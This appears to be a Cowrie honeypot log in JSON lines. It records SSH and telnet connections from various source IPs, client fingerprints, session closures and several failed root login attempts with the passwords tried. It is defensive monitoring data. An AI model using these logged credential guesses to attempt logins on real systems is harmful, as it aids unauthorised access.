{"eventid":"cowrie.session.closed","duration":57.592440128326416,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:35.698656Z","src_ip":"152.42.224.71","session":"dc56af3687f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:36.379895Z","src_ip":"31.40.204.166","session":"b564da9bfa32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38732,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a1c8250a89","protocol":"telnet","message":"New connection: 152.42.224.71:38732 (10.17.0.5:23) [session: f4a1c8250a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:38.382922Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":59188,"dst_ip":"159.203.135.109","dst_port":22,"session":"74146fbf6183","protocol":"ssh","message":"New connection: 182.217.16.126:59188 (159.203.135.109:22) [session: 74146fbf6183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:39.134762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:39.140408Z","src_ip":"182.217.16.126","session":"74146fbf6183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.75715398788452,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:39.144066Z","src_ip":"152.42.224.71","session":"25848add930f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:39.341827Z","src_ip":"182.217.16.126","session":"74146fbf6183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.13740277290344,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:40.003832Z","src_ip":"152.42.224.71","session":"e28791e88ead","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxmax","message":"login attempt [root/maxmax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:40.178642Z","src_ip":"182.217.16.126","session":"74146fbf6183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":34162,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f5a14df1d89","protocol":"ssh","message":"New connection: 43.134.228.151:34162 (159.203.135.109:22) [session: 5f5a14df1d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:40.892529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:40.897236Z","src_ip":"43.134.228.151","session":"5f5a14df1d89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:41.128569Z","src_ip":"43.134.228.151","session":"5f5a14df1d89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:41.382976Z","src_ip":"182.217.16.126","session":"74146fbf6183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"GBHalso98","message":"login attempt [root/GBHalso98] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:42.087321Z","src_ip":"43.134.228.151","session":"5f5a14df1d89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38736,"dst_ip":"10.17.0.5","dst_port":23,"session":"4647d39f7988","protocol":"telnet","message":"New connection: 152.42.224.71:38736 (10.17.0.5:23) [session: 4647d39f7988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:42.641633Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:43.320615Z","src_ip":"43.134.228.151","session":"5f5a14df1d89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38750,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1ce864623e5","protocol":"telnet","message":"New connection: 152.42.224.71:38750 (10.17.0.5:23) [session: e1ce864623e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:45.457300Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38760,"dst_ip":"10.17.0.5","dst_port":23,"session":"097b8c99bbfc","protocol":"telnet","message":"New connection: 152.42.224.71:38760 (10.17.0.5:23) [session: 097b8c99bbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:45.770117Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33842,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bdfa48dbf84","protocol":"telnet","message":"New connection: 152.42.224.71:33842 (10.17.0.5:23) [session: 4bdfa48dbf84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:48.394525Z"}
{"eventid":"cowrie.session.closed","duration":26.05460524559021,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:53.886443Z","src_ip":"152.42.224.71","session":"5d424585a0e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.729744911193848,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:55.124187Z","src_ip":"152.42.224.71","session":"4bdfa48dbf84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46046,"dst_ip":"10.17.0.5","dst_port":23,"session":"4650e643c1b3","protocol":"telnet","message":"New connection: 152.42.224.71:46046 (10.17.0.5:23) [session: 4650e643c1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:56.779732Z"}
{"eventid":"cowrie.session.closed","duration":44.389029026031494,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:58.303166Z","src_ip":"152.42.224.71","session":"0b6494dded4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46052,"dst_ip":"10.17.0.5","dst_port":23,"session":"0994143ecf50","protocol":"telnet","message":"New connection: 152.42.224.71:46052 (10.17.0.5:23) [session: 0994143ecf50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:59.793772Z"}
{"eventid":"cowrie.session.closed","duration":78.99650263786316,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:59.994973Z","src_ip":"152.42.224.71","session":"f987a94c23a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46064,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7fea78b96b7","protocol":"telnet","message":"New connection: 152.42.224.71:46064 (10.17.0.5:23) [session: e7fea78b96b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:00.279791Z"}
{"eventid":"cowrie.session.closed","duration":44.284422874450684,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:02.726543Z","src_ip":"152.42.224.71","session":"7c4eb4991017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.01668381690979,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:07.138793Z","src_ip":"152.42.224.71","session":"033ab2f803ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.265915870666504,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:10.035924Z","src_ip":"152.42.224.71","session":"097b8c99bbfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.731929302215576,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:15.224585Z","src_ip":"152.42.224.71","session":"d8003a40ba60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52734,"dst_ip":"10.17.0.5","dst_port":23,"session":"94c1c1adf5c2","protocol":"telnet","message":"New connection: 152.42.224.71:52734 (10.17.0.5:23) [session: 94c1c1adf5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:15.534096Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.246.127","src_port":52595,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c71750d1a65","protocol":"telnet","message":"New connection: 189.219.246.127:52595 (159.203.135.109:23) [session: 3c71750d1a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:18.565101Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":60186,"dst_ip":"159.203.135.109","dst_port":22,"session":"3acc5711a53f","protocol":"ssh","message":"New connection: 43.153.54.120:60186 (159.203.135.109:22) [session: 3acc5711a53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:19.461377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:19.466403Z","src_ip":"43.153.54.120","session":"3acc5711a53f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:19.534160Z","src_ip":"43.153.54.120","session":"3acc5711a53f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.144710540771484,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:19.786255Z","src_ip":"152.42.224.71","session":"4647d39f7988","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"kuai","message":"login attempt [root/kuai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:19.836374Z","src_ip":"43.153.54.120","session":"3acc5711a53f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:20.910896Z","src_ip":"43.153.54.120","session":"3acc5711a53f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35516,"dst_ip":"10.17.0.5","dst_port":23,"session":"93e3ced6fab6","protocol":"telnet","message":"New connection: 152.42.224.71:35516 (10.17.0.5:23) [session: 93e3ced6fab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:22.659141Z"}
{"eventid":"cowrie.session.closed","duration":45.43824529647827,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:23.821069Z","src_ip":"152.42.224.71","session":"f4a1c8250a89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35524,"dst_ip":"10.17.0.5","dst_port":23,"session":"23432fc32d85","protocol":"telnet","message":"New connection: 152.42.224.71:35524 (10.17.0.5:23) [session: 23432fc32d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:24.697865Z"}
{"eventid":"cowrie.session.closed","duration":0.5787785053253174,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:25.276527Z","src_ip":"152.42.224.71","session":"23432fc32d85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.86492204666138,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:27.811749Z","src_ip":"152.42.224.71","session":"90f7f380eed0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.579642295837402,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:28.373321Z","src_ip":"152.42.224.71","session":"0994143ecf50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.683463335037231,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:32.248443Z","src_ip":"189.219.246.127","session":"3c71750d1a65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59754,"dst_ip":"10.17.0.5","dst_port":23,"session":"c31ac46b4fb2","protocol":"telnet","message":"New connection: 152.42.224.71:59754 (10.17.0.5:23) [session: c31ac46b4fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:32.465730Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":56328,"dst_ip":"159.203.135.109","dst_port":22,"session":"549f115dcf62","protocol":"ssh","message":"New connection: 43.156.227.3:56328 (159.203.135.109:22) [session: 549f115dcf62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:32.498696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:32.503567Z","src_ip":"43.156.227.3","session":"549f115dcf62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:32.751845Z","src_ip":"43.156.227.3","session":"549f115dcf62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":107.96335363388062,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:32.891348Z","src_ip":"152.42.224.71","session":"915a0855a413","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":58842,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0c2b46da0cd","protocol":"ssh","message":"New connection: 94.230.136.33:58842 (159.203.135.109:22) [session: f0c2b46da0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:33.064840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:33.069510Z","src_ip":"94.230.136.33","session":"f0c2b46da0cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:33.222653Z","src_ip":"94.230.136.33","session":"f0c2b46da0cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariah","message":"login attempt [root/mariah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:33.764481Z","src_ip":"43.156.227.3","session":"549f115dcf62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq@123456789","message":"login attempt [root/Qq@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:33.863290Z","src_ip":"94.230.136.33","session":"f0c2b46da0cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:35.013106Z","src_ip":"43.156.227.3","session":"549f115dcf62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:35.018946Z","src_ip":"94.230.136.33","session":"f0c2b46da0cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.387330055236816,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:36.844526Z","src_ip":"152.42.224.71","session":"e1ce864623e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45492,"dst_ip":"159.203.135.109","dst_port":22,"session":"a827f40fb15a","protocol":"ssh","message":"New connection: 31.40.204.166:45492 (159.203.135.109:22) [session: a827f40fb15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:39.880198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:39.888936Z","src_ip":"31.40.204.166","session":"a827f40fb15a","protocol":"ssh"}
